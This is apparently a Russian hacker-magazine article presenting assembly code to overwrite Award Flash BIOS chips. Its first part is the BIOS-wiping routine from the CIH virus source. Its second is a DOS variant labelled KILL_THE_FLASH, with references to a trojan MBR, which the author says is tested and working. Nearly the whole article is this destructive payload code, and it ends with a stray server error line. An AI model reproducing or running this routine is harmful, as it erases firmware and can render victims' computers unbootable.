Come on, baby, flash my BIOS © типа Jim Morrison
Увы, так и не удалось найти спецификации по Flash BIOS, и даже расхакивание программы AWDFLASH помогло понять не больше, чем исходник злобного CIH. Возможно, кому-нибудь и удастся узнать "почему", а темой нашей статьи будет "как". Первая часть, Windows'9x код 0-кольца, взята из исходника CIH, вторая - DOS-код - произведение на тему первой. Произведение работающее и проверенное на практике. Немного о технике безопасности: для проверки работоспособности этого кода необходимо иметь программу AWDFLASH для сохранения и перепрошивки Flash BIOS, запасной похожий чип и специальный пинцет для выдергивания (если не хочешь трахаться по-настоящему) чипа.
Внимание: FLASH BIOS - НЕ ДИСКЕТА. Он не рассчитан на многократное перепрошивание - пару раз получится, а дальше - все, это я заявляю на основе эксперимента.
; Записать BIOS EEPROM mov bp, 0cf8h lea esi, IOForEEPROM-@7[esi] ; Прочитать страницу BIOS ; 000E0000 - 000EFFFF ( 64 KB ) mov edi, 8000384ch mov dx, 0cfeh cli call esi ; Прочитать страницу BIOS ; 000F0000 - 000FFFFF ( 64 KB ) mov di, 0058h dec edx ; and al,0fh mov 2 ptr (BooleanCalculateCode-@10)[esi], 0f24h call esi ; Прочитать дополнительные данные BIOS ; 000E0000 - 000E01FF ( 512 Bytes ) ; и секция дополнительного BIOS (Extra ; BIOS) ; может быть записана... lea ebx, EnableEEPROMToWrite- @10[esi] mov eax, 0e5555h mov ecx, 0e2aaah call ebx mov byte ptr [eax], 60h push ecx loop $ ; Записать дополнительные данные BIOS ;(BIOS Extra ROM Data) 000E0000 - ;000E007F (80h B ) xor ah, ah mov [eax], al xchg ecx, eax loop $ ;Показать и включить основные данные ;BIOS {BIOS Main ROM Data} 000E0000 - ;000FFFFF, (128 KB), может быть ;записана... mov eax, 0f5555h pop ecx mov ch, 0aah call ebx mov byte ptr [eax], 20h loop $ ; Записать данные об основном BIOS {BIOS ; Main ROM Data} 000FE000 - 000FE07F, ; (80h Bytes) mov ah, 0e0h mov [eax], al ; Спрятать страницу BIOS ; 000F0000 - 000FFFFF,(64 KB) ; or al,10h mov 2 ptr (BooleanCalculateCode-@10)[esi], 100ch call esi ; Разрешить EEPROM для записи EnableEEPROMToWrite: mov [eax], cl mov [ecx], al mov byte ptr [eax], 80h mov [eax], cl mov [ecx], al ret ; Ввод/вывод в EEPROM IOForEEPROM: @10 = IOForEEPROM xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp in al, dx BooleanCalculateCode = $ or al, 44h xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret
; при компиляции исходник должен ; содержать : ;.radix 16 ;.386p KILL_THE_FLASH: ; Read BIOS Page 0E0000-0EFFFF MOV EDI,8000384C ; value MOV BP,0CF8 ; port MOV DX,0CFE CALL IOEEPROM ; Read BIOS Page 0F0000- 0FFFFF MOV EDI,00000058 DEC DX MOV 2 PTR DS:[BCCC- TROYAN_MBR+0600],0F24 ; AND AL,0F CALL IOEEPROM PUSH SI DI DS ES ; extra BIOS (0E0000-0E01FF) MOV AX,0E000 MOV DS,AX MOV 1 PTR DS:[5555],0AA MOV 1 PTR DS:[2AAA],55 MOV 1 PTR DS:[5555],80 MOV 1 PTR DS:[5555],0AA MOV 1 PTR DS:[2AAA],55 MOV 1 PTR DS:[2AAA],60 XOR CX,CX DEC CX LOOP $ ; kill extra BIOS (0E0000-0E007F) MOV 1 PTR DS:[0055],55 XOR CX,CX DEC CX LOOP $ ; show and enable main ; BIOS data (0E0000-0FFFFF) MOV AX,0F000 MOV ES,AX ; DS=0E000, ES=0F000 MOV 1 PTR ES:[5555],0AA MOV 1 PTR DS:[0AAAA],55 MOV 1 PTR ES:[5555],80 MOV 1 PTR ES:[5555],0AA MOV 1 PTR DS:[2AAA],55 MOV 1 PTR ES:[5555],20 MOV CX,-1 LOOP $ ; KILL MAIN BIOS DATA ;(0FE000-0FE07F) MOV 1 PTR ES:[0E055],55 ; HIDE BIOS PAGE ; (0F0000-0FFFFF) POP ES DS DI SI MOV 2 PTR CS:[BCCC-code_MBR+ 600],100C ; OR AL,10 CALL IOEEPROM JMP $ ; THE END COMPLETE IOEEPROM: XCHG EAX,EDI XCHG DX,BP OUT DX,EAX XCHG EAX,EDI XCHG DX,BP IN AL,DX BCCC EQU $ OR AL,44 XCHG EAX,EDI XCHG DX,BP OUT DX,EAX XCHG EAX,EDI XCHG DX,BP OUT DX,AL RETN[an error occurred while processing this directive]